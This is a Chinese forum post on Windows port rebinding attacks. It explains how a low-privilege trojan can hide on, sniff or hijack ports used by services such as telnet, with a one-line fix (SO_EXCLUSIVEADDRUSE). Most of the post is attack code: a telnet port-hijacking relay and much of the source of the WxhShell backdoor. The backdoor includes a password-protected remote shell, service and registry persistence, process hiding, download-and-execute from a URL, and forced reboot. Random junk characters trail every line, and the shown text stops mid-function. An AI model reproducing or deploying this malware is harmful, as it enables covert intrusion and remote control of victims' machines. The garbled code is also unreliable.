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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e%@[d<Ta\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *xZQG9`kt  
p@NEr,GB  
  saddr.sin_family = AF_INET; of[|b{Ze4~  
B!E<uVC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <4!&iU+;  
6>N u=~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S{"6PXzb  
E3.W#=o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `aX}.{.!  
.U(SkZ`6  
  这意味着什么?意味着可以进行如下的攻击: d'g{K]=tF  
P`IMvOs&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !3X%5=#L4  
(PT?h>|St  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /bNVgK`L5  
d,Dg"Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vS*0CR\  
1o6J9kCq^3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2h? r![  
<,]CVo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 T=f;n;/>  
ae(]9VW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L&gEQDPgq|  
x_H7=\pX]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IDk:jO  
_^2[(<Gmv  
  #include OHtZ"^YG  
  #include zC>(!fJqq  
  #include ~E6+2t*  
  #include    }HQT@&=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tL4]6u  
  int main() PJ11LE  
  { . =foXN  
  WORD wVersionRequested; m+gG &`&u  
  DWORD ret; JU%yqXO  
  WSADATA wsaData; y88}f&z#5  
  BOOL val; MPEBinE?  
  SOCKADDR_IN saddr; :~A1Ud4c  
  SOCKADDR_IN scaddr; Ynh4oWUp  
  int err; sFz4^Kn  
  SOCKET s; +sbacMfq  
  SOCKET sc; +MoxvW6  
  int caddsize; b%~3+c  
  HANDLE mt; <n~g+ps  
  DWORD tid;   ;eEtdoy  
  wVersionRequested = MAKEWORD( 2, 2 ); u(G;57ms  
  err = WSAStartup( wVersionRequested, &wsaData ); Ky~~Cd$  
  if ( err != 0 ) { u$/2XO  
  printf("error!WSAStartup failed!\n"); E#V-F-@2  
  return -1; PH4bM  
  } /t6u"I~  
  saddr.sin_family = AF_INET; e =Tc(Mwn  
   -8kW!F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7Hlh (k  
o?hw2-mH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2F@<{v4  
  saddr.sin_port = htons(23); {kO:HhUg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3)MM5 b b$  
  { 5OqsnL_V  
  printf("error!socket failed!\n"); J3SbyI!T  
  return -1; z)y(31K<1  
  } 5Fm? ,^  
  val = TRUE; k.R/X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~map5@Kd  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pQ`L=#WM  
  { cZF;f{t  
  printf("error!setsockopt failed!\n"); tfIBsw.  
  return -1; Y~ ?YA/.x  
  } q'-l; V|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x=|@AFI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GT}#iM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 NbMH@6%E  
F88SV6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mNB ]e5 ;N  
  { Y$5v3E\uc  
  ret=GetLastError(); sWzXl~JbF  
  printf("error!bind failed!\n"); >d[vHyA~!D  
  return -1; {$=%5  
  } X \ZUt >  
  listen(s,2); %31K*i/]  
  while(1) s"!}=k X  
  { (&x\,19U$  
  caddsize = sizeof(scaddr); `,=p\g|D  
  //接受连接请求 u<r('IW0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6>7LFV1tvy  
  if(sc!=INVALID_SOCKET) J, U~ .c  
  { .tZ$a_O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6j![m+vo%  
  if(mt==NULL) MNE)<vw>  
  { v333z<<S  
  printf("Thread Creat Failed!\n"); 'B:De"_(N  
  break; 0n^j 50Yq  
  } td$Jx}'A  
  } !t{!.  
  CloseHandle(mt); \zDV|n~{w  
  } 0 1w/,r  
  closesocket(s); < VsZ$  
  WSACleanup(); E&v-(0  
  return 0; ZWW}r~d{  
  }   0$uS)J\;K  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1S@k=EKM  
  { e.h:9` "*  
  SOCKET ss = (SOCKET)lpParam; ;!Bkk9r"H  
  SOCKET sc; }Ec"&  
  unsigned char buf[4096]; @isqFKjph  
  SOCKADDR_IN saddr; JYU Ks~Qt  
  long num; SX8%F:<.  
  DWORD val; +}'K6x_  
  DWORD ret; +g30frg+Gl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 j KK48S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I[C.iILL  
  saddr.sin_family = AF_INET; MkG ->*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (#BA{9T,^  
  saddr.sin_port = htons(23); SjU6+|l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %%u4( '=  
  { F.hC%Ncu  
  printf("error!socket failed!\n"); --D`YmB  
  return -1; pc>R|~J{2  
  } ]kvE+m&p}^  
  val = 100; t?Znil|o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jl}7]cVq#  
  { Fv B2y8&W  
  ret = GetLastError(); b`=rd 4cpU  
  return -1; % M:"Ai5:  
  } v<**GW]neD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T[J_/DE@  
  { _E7eJSM.  
  ret = GetLastError(); $S/ 8T  
  return -1; <9vkiEo  
  } {^iV<>J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ja2.1v|r .  
  { H2p;J#cv@  
  printf("error!socket connect failed!\n"); z@}~2K  
  closesocket(sc); ==9Ez  
  closesocket(ss); N*;/~bt7 P  
  return -1; #/6X44 *u  
  } z'*>Tk8h  
  while(1) ,$>Z= ~x*  
  { .l!Z=n|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !LA#c'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~Fh(4'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @(L|  
  num = recv(ss,buf,4096,0); qK pU.rP  
  if(num>0) ~Hf,MLMdTf  
  send(sc,buf,num,0); 'AU!xG6OQ  
  else if(num==0) 'tj4;+xf^  
  break; Z9y:}:j"  
  num = recv(sc,buf,4096,0); Hqk2W*UTl  
  if(num>0) hB4.tMgZ  
  send(ss,buf,num,0); =v}.sJ V?  
  else if(num==0) TfOZ>uR"g  
  break; 'lF|F+8   
  } +J}M$e Q  
  closesocket(ss); }9JPSl28Jr  
  closesocket(sc); uBXI*51{  
  return 0 ; R_&>iu'[  
  } e# DAa  
&DV'%h>i=  
DX|kO  
========================================================== uo^>95lkv  
d>}%A ]  
下边附上一个代码,,WXhSHELL aap:~F{]X  
@QEV l  
========================================================== w@4+&v>O  
bP[/  
#include "stdafx.h" 5y)kQ<x"  
e-WaK0Ep  
#include <stdio.h> 3y!CkJKv  
#include <string.h> Ptg73Gm&R  
#include <windows.h> UTz;Sw?~hw  
#include <winsock2.h> #r C% \  
#include <winsvc.h> BsAglem  
#include <urlmon.h> [O3R(`<e5  
We`axkC  
#pragma comment (lib, "Ws2_32.lib") LImD]e`  
#pragma comment (lib, "urlmon.lib") DmYm~hzJ  
9D bp`%j  
#define MAX_USER   100 // 最大客户端连接数 *VpQ("  
#define BUF_SOCK   200 // sock buffer (?Yz#Yf  
#define KEY_BUFF   255 // 输入 buffer ]lo O5  
>wn&+%i&  
#define REBOOT     0   // 重启 rtI4W  
#define SHUTDOWN   1   // 关机 B3D4fYQ  
9:Y\D.M  
#define DEF_PORT   5000 // 监听端口 3ySnAAG  
$KiA~l  
#define REG_LEN     16   // 注册表键长度 X!@Gv:TD  
#define SVC_LEN     80   // NT服务名长度 q&+GpR  
O;XF'r_  
// 从dll定义API k$hWR;U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1+^c3Dd`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o)$sZ{` ="  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4bO7rhve  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3K'3Xp@A  
b x@CzXre;  
// wxhshell配置信息 k`?n("j  
struct WSCFG { 0-5:"SN'  
  int ws_port;         // 监听端口 H;^6%HV1  
  char ws_passstr[REG_LEN]; // 口令 TiOvrp7B  
  int ws_autoins;       // 安装标记, 1=yes 0=no aoBM _#  
  char ws_regname[REG_LEN]; // 注册表键名 xsa* XR  
  char ws_svcname[REG_LEN]; // 服务名 wxoBq{r;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m?csake.Me  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r4-r z+x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fF9vV. }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FnCHbPlb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !:>y.^O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Oo$\=d  
]t,ppFC#  
}; 8mV35A7l  
Oz+>I ^Q  
// default Wxhshell configuration ,e;(\t:  
struct WSCFG wscfg={DEF_PORT, A_[65'*b  
    "xuhuanlingzhe", 6L2.88 i  
    1, ut o4bs:  
    "Wxhshell", m1(rAr1  
    "Wxhshell", D3_,2  
            "WxhShell Service", &BQ`4j~.  
    "Wrsky Windows CmdShell Service", 4Iz~3fqB7  
    "Please Input Your Password: ", WUHijHo5(8  
  1, -JcfP+{wS  
  "http://www.wrsky.com/wxhshell.exe", b&!X#3(KT  
  "Wxhshell.exe" C9~CP8  
    }; <)rol  
GI/g@RV  
// 消息定义模块 a.q=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J3K!@m_\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; En[cg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aK,G6y  
char *msg_ws_ext="\n\rExit."; [Y5B$7|s<  
char *msg_ws_end="\n\rQuit."; E")82I  
char *msg_ws_boot="\n\rReboot..."; W# ev  
char *msg_ws_poff="\n\rShutdown..."; <Q%\ pAP}b  
char *msg_ws_down="\n\rSave to "; 7ZN0_Q s  
]/U)<{6  
char *msg_ws_err="\n\rErr!"; kMUjSa~\  
char *msg_ws_ok="\n\rOK!"; Jz3u r)|  
S25&UwUw  
char ExeFile[MAX_PATH]; gi~*1RIel;  
int nUser = 0;  aj1Zi3h  
HANDLE handles[MAX_USER]; >d_O0a*W-  
int OsIsNt; edA.Va|0  
@q|I$'K]x  
SERVICE_STATUS       serviceStatus; 40mgB4I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0p8(Q  
,zO!`|I  
// 函数声明 - wCfwC  
int Install(void); lLl^2[4k5  
int Uninstall(void); ^hLAMaR  
int DownloadFile(char *sURL, SOCKET wsh); KYMz  
int Boot(int flag); G 9d@vu  
void HideProc(void); HPT$)NeNc  
int GetOsVer(void); Eufw1vDa  
int Wxhshell(SOCKET wsl); fsb_*sh&  
void TalkWithClient(void *cs); um ,Zt  
int CmdShell(SOCKET sock); ?bW|~<X~  
int StartFromService(void); hjs[$ ,1  
int StartWxhshell(LPSTR lpCmdLine); r,aV11{  
Wu?4oF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^GHA,cSf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SBZqO'}7  
CB\E@u,  
// 数据结构和表定义 CB:G4VqOT  
SERVICE_TABLE_ENTRY DispatchTable[] = tWT@%(2~0  
{ : OQx;>'  
{wscfg.ws_svcname, NTServiceMain}, cl/}PmYIZ  
{NULL, NULL} M|6 l  
}; R$sG*=a!8j  
5Z@OgR  
// 自我安装 :>+}|(v  
int Install(void) t&*X~(Yb!  
{ \ ?sM  
  char svExeFile[MAX_PATH]; Pm*FA8a7  
  HKEY key; kzcl   
  strcpy(svExeFile,ExeFile); oF7o"NHaWa  
W^v3pH-y#  
// 如果是win9x系统,修改注册表设为自启动 Xz4T_-X8d  
if(!OsIsNt) { f_I6g uDPz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %a$ l%8j&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /N>f#:}  
  RegCloseKey(key); ]rY:C "#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @|BaZq,g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gE;r;#Jt4  
  RegCloseKey(key); B~xT:r  
  return 0; FX}kH]  
    } =n7QLQU  
  } ]jQj/`v1  
} @A?Ss8p'  
else { |soDt <y+L  
u]RI,3Z  
// 如果是NT以上系统,安装为系统服务 s_:7dD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kn9ul3c  
if (schSCManager!=0) $S Kax#[  
{ O1xK\ogv  
  SC_HANDLE schService = CreateService :k&R]bc9  
  ( Fp=O:]  
  schSCManager, iX (<ozH  
  wscfg.ws_svcname, b%A+k"d  
  wscfg.ws_svcdisp, v%^"N_]  
  SERVICE_ALL_ACCESS, - ,YoVB!T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Es]:-TR  
  SERVICE_AUTO_START, we?# Dui  
  SERVICE_ERROR_NORMAL, '/O >#1  
  svExeFile, JO[7_*s  
  NULL, r8%"#<]/  
  NULL, {mOQRAKl  
  NULL, :}0>IPW-V  
  NULL, mZ_643|  
  NULL s]X0}"cz  
  ); z}.Q~4 f0D  
  if (schService!=0) j;TXZ`|(  
  { <dd XvUCX  
  CloseServiceHandle(schService); >a%C'H.A9  
  CloseServiceHandle(schSCManager); ^]n:/kZ5"[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !94qF,#1  
  strcat(svExeFile,wscfg.ws_svcname); X^o0t^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H6/n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IEmjWw4  
  RegCloseKey(key); ks19e>'5Q  
  return 0; 6Cj$x.-K  
    } ,azBk`$iQr  
  } [%LIW%t|  
  CloseServiceHandle(schSCManager); 0+{CN|0  
} T"_f9?  
} u; G-46  
pOq9J7BS  
return 1; 1[:tiTG|C  
} _jWGwO  
a1dkB"Zp.p  
// 自我卸载 F<0GX!p4u  
int Uninstall(void) c9O0YQ3&8  
{ qw<~v?{|C  
  HKEY key; XlJA}^e  
T|^KG<uPV!  
if(!OsIsNt) { FE'F@aS\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b=PB"-  
  RegDeleteValue(key,wscfg.ws_regname); CNM pyr  
  RegCloseKey(key); zBjbH=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lvp8{]I<  
  RegDeleteValue(key,wscfg.ws_regname); %X -G(Z  
  RegCloseKey(key); ~O8Xj6  
  return 0; 3)*Twqt  
  } L %20tm  
} \5DOp-2  
} $s<bKju  
else { dV7~C@k6k8  
M0K+Vz=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D` abVf  
if (schSCManager!=0) "w&G1kw5I  
{ C ^ 1;r9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l<-0@(x)  
  if (schService!=0) =bh.V@*  
  { aTFT'(O,  
  if(DeleteService(schService)!=0) { DAVgP7h'  
  CloseServiceHandle(schService); 3:MAdh[w  
  CloseServiceHandle(schSCManager); 94'0X  
  return 0; k.6(Q_TS  
  } wvz_)b N~A  
  CloseServiceHandle(schService); V9/PkuT  
  } &O\$=&, h  
  CloseServiceHandle(schSCManager); z;1qYW[-A  
} NsF8`r g  
} `KHP?lX  
Z"5ewU<?  
return 1; \[Q*d  
} 8dCa@r&tz  
[`U9  
// 从指定url下载文件 ^nN@@ \-5  
int DownloadFile(char *sURL, SOCKET wsh) gaVQ3NqF  
{ 2>'/!/+R  
  HRESULT hr; CAtdx!  
char seps[]= "/"; V)3S.*]  
char *token; %dDwus  
char *file; $zD}hO9  
char myURL[MAX_PATH]; ]}A3Pm- t*  
char myFILE[MAX_PATH]; DcX,o*ec!  
,+o*>fD  
strcpy(myURL,sURL); G21cJi*  
  token=strtok(myURL,seps); &!KW[]i%9}  
  while(token!=NULL) egh_1Wg2a  
  { /5r!Fhx  
    file=token; _su$]s  
  token=strtok(NULL,seps); =N<Z@'c  
  } "Oq>i9v;|$  
gFAtIx4  
GetCurrentDirectory(MAX_PATH,myFILE); 'J(B{B7|  
strcat(myFILE, "\\"); 'bx$}w N  
strcat(myFILE, file); pHv~^L%=  
  send(wsh,myFILE,strlen(myFILE),0); m6YDyQC  
send(wsh,"...",3,0); +Q!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f ,WAl\  
  if(hr==S_OK) \zv?r :1t  
return 0; a_amO<!   
else pipqXe  
return 1; d,*#yzO  
 KSB{Z TE  
} > ?<C+ZHh  
az;o7[rI^  
// 系统电源模块 5$Da\?Fpn  
int Boot(int flag) e sDd>W  
{ mrId`<L5l{  
  HANDLE hToken; 4.qW ~ W{  
  TOKEN_PRIVILEGES tkp; sJB::6+1(|  
JsyLWv@6xa  
  if(OsIsNt) { #azD& 6`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PHv0^l]B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $G .ws  
    tkp.PrivilegeCount = 1; C">w3#M%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3lT>C'qq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <P#]U"?A  
if(flag==REBOOT) { 9Bw.Ih[Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (OT&:WwW  
  return 0; K6nGC  
} \'.#of  
else { fsH =2p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y;1l].L  
  return 0; D0HLU ~o  
} ZA Xw=O5  
  } ExJexjOWI^  
  else { Fg<rz&MR  
if(flag==REBOOT) { mOE%:xq9-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 60@]^g;$I  
  return 0; 72;ot`  
} Kb5 YA  
else { N]iu o.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'mR9Uqq\  
  return 0; WZ]f \S  
} E0-<-w3'  
} `am]&0g^+(  
afNqK~  
return 1; "Acc]CqH*  
} r[Zg$CW  
/Xo8 kC  
// win9x进程隐藏模块 1@L|EFa  
void HideProc(void) Gn7P` t*.  
{ kjVJ!R\  
D`C#O 7.N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'g7eN@Wh.z  
  if ( hKernel != NULL ) g7r_jj%ow  
  { klwNeGF]N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {'e%Hx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i9 Tq h  
    FreeLibrary(hKernel); *%,{<C,Y  
  } {} gr\  
"-HmXw1+t  
return; xJSK"  
} >*FHJCe  
SV}C]<  
// 获取操作系统版本 C~:@ETcbil  
int GetOsVer(void) Y!C8@B$MR3  
{ LqA&@  
  OSVERSIONINFO winfo; yv2N5IQ>{V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W-UMX',0zS  
  GetVersionEx(&winfo); Sl7x>=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |{en) {:  
  return 1; q*E<~!jL  
  else ]:X# w0UR  
  return 0; ~  WO  
} znxP.=GB   
$ /p/9 -  
// 客户端句柄模块 rQ*Fc~^L  
int Wxhshell(SOCKET wsl) >ukn<  
{ VsJ4sb7  
  SOCKET wsh; H/?@UJ5m  
  struct sockaddr_in client; tW)K pX  
  DWORD myID; Uzzt+Iwm  
pSC\[%K  
  while(nUser<MAX_USER) 6J""gyK.  
{ <jwQ&fm)/R  
  int nSize=sizeof(client); [)wLji7MK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qjrl$[`X:  
  if(wsh==INVALID_SOCKET) return 1; 7kDqgod^A  
f2f2&|7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); suF<VJ)&s  
if(handles[nUser]==0) )oU%++cdo  
  closesocket(wsh); tP0\;W  
else RNMd,?dj  
  nUser++; N R0"yJV>  
  } \fD)|   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;.'\8!j  
J\%SAit@  
  return 0; u"s@eN  
} e\7AtlW"  
# X`t~Y'  
// 关闭 socket $c0<I59&|  
void CloseIt(SOCKET wsh) GnFm*L  
{ ,%X"Caz  
closesocket(wsh); \0,8?S  
nUser--; qe<xH#6  
ExitThread(0); + \jn$>E  
} RE%25t|  
vBLs88  
// 客户端请求句柄 !+V."*]l  
void TalkWithClient(void *cs) B{ hV|2  
{ 8quH#IhB  
9@^N* E+  
  SOCKET wsh=(SOCKET)cs; -SlAt$IJ  
  char pwd[SVC_LEN]; i[4t`v'Dk  
  char cmd[KEY_BUFF]; !~_6S*~  
char chr[1]; `P/87=h  
int i,j; m 88(f2Ch  
9  M90X8  
  while (nUser < MAX_USER) { ]MmFtdvE  
Ov~vK\  
if(wscfg.ws_passstr) { m`9P5[m#x>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JE_GWgwdv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #9rCF 3P  
  //ZeroMemory(pwd,KEY_BUFF); FG5YZrONx  
      i=0; Txa 2`2t7  
  while(i<SVC_LEN) { cMoBYk  
SNrX(V::z  
  // 设置超时 j*_>/gi  
  fd_set FdRead; 9|l6.$Me/  
  struct timeval TimeOut; orZwm9#].  
  FD_ZERO(&FdRead); 5;CqGzgoP  
  FD_SET(wsh,&FdRead); #}+_Hy  
  TimeOut.tv_sec=8; =6d'/D#J  
  TimeOut.tv_usec=0; ? ]H'egG6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *],= !  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sd *7jW?  
S9E<)L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [H=l# W@  
  pwd=chr[0]; nn8uFISb  
  if(chr[0]==0xd || chr[0]==0xa) { 1Gw_S?$7  
  pwd=0; /xb37,   
  break; Mi<}q@]e  
  } `{&l _  
  i++; V>"N VRY  
    } >a)6GZ@  
RPZ -  
  // 如果是非法用户,关闭 socket tN_~zP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q(BM0n)f  
} kPYQcOK8  
/rnP/X)T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @#::C@V]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tg;AF<VI  
1Ba.'~:  
while(1) { ,A9{x\1!  
i)[~]D.EH8  
  ZeroMemory(cmd,KEY_BUFF); r?R!/`f  
~-BIU Z;  
      // 自动支持客户端 telnet标准   zJTSg  
  j=0; `r+`vJ$  
  while(j<KEY_BUFF) { Mo&Po9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ee*E:Ltz\  
  cmd[j]=chr[0]; #IxCI)!I{[  
  if(chr[0]==0xa || chr[0]==0xd) { ,S7M4ajVZB  
  cmd[j]=0; k7=mxXF  
  break; %5/h;4   
  } J72 YZrc  
  j++; p 4Y 2AQ9  
    } qdwjg8fo4Z  
!z_VwZ#,  
  // 下载文件 0[!38  
  if(strstr(cmd,"http://")) { cp 5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W_ubgCB  
  if(DownloadFile(cmd,wsh)) K2ry@haN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("_tML 8/p  
  else d1/uI^8>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZRC0^-C@  
  } YojYb]y+ j  
  else { `YPNVm<3)  
"hXB_73)V  
    switch(cmd[0]) { yWZ%|K~$  
  gf U!sYZ  
  // 帮助 1}jwv_0lL  
  case '?': { (C!33s1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bId@V[9  
    break; qJLtqv  
  } 5:~BGK&{Y  
  // 安装 ccJ!N  
  case 'i': { }|4dEao\  
    if(Install()) Avi8&@ya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s9b 6l,Z  
    else "ju0S&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tJ@5E^'4  
    break; 9UeK}Rl^n  
    } .+Fh,bNYK  
  // 卸载 'U3+'du^8  
  case 'r': { psZ #^@>mJ  
    if(Uninstall()) FT.;}!"l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ET}Dh3A  
    else 7cMSJM(]G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XhxCOpO  
    break; _ya_Jf*  
    } E0a &1j  
  // 显示 wxhshell 所在路径 "R v],O"  
  case 'p': { "=9kX`(1y  
    char svExeFile[MAX_PATH]; #iAEcC0k5  
    strcpy(svExeFile,"\n\r"); & !I$  
      strcat(svExeFile,ExeFile); a'2^kds  
        send(wsh,svExeFile,strlen(svExeFile),0); BV01&.<|  
    break; Zqnwf  
    } x)Ls(Xh+g  
  // 重启 v\:P _J  
  case 'b': { 27-GfC=7*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V,qc[*_3  
    if(Boot(REBOOT)) zVU{jmS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~i y]X:U  
    else { %\2w 1  
    closesocket(wsh); ;}k9YlQrN  
    ExitThread(0); zs~v6y@  
    } ~E tW B  
    break; !+# pGSk  
    } QBI;aG<+b>  
  // 关机 Dw6mSsC/  
  case 'd': {  N\9 Wxz$  
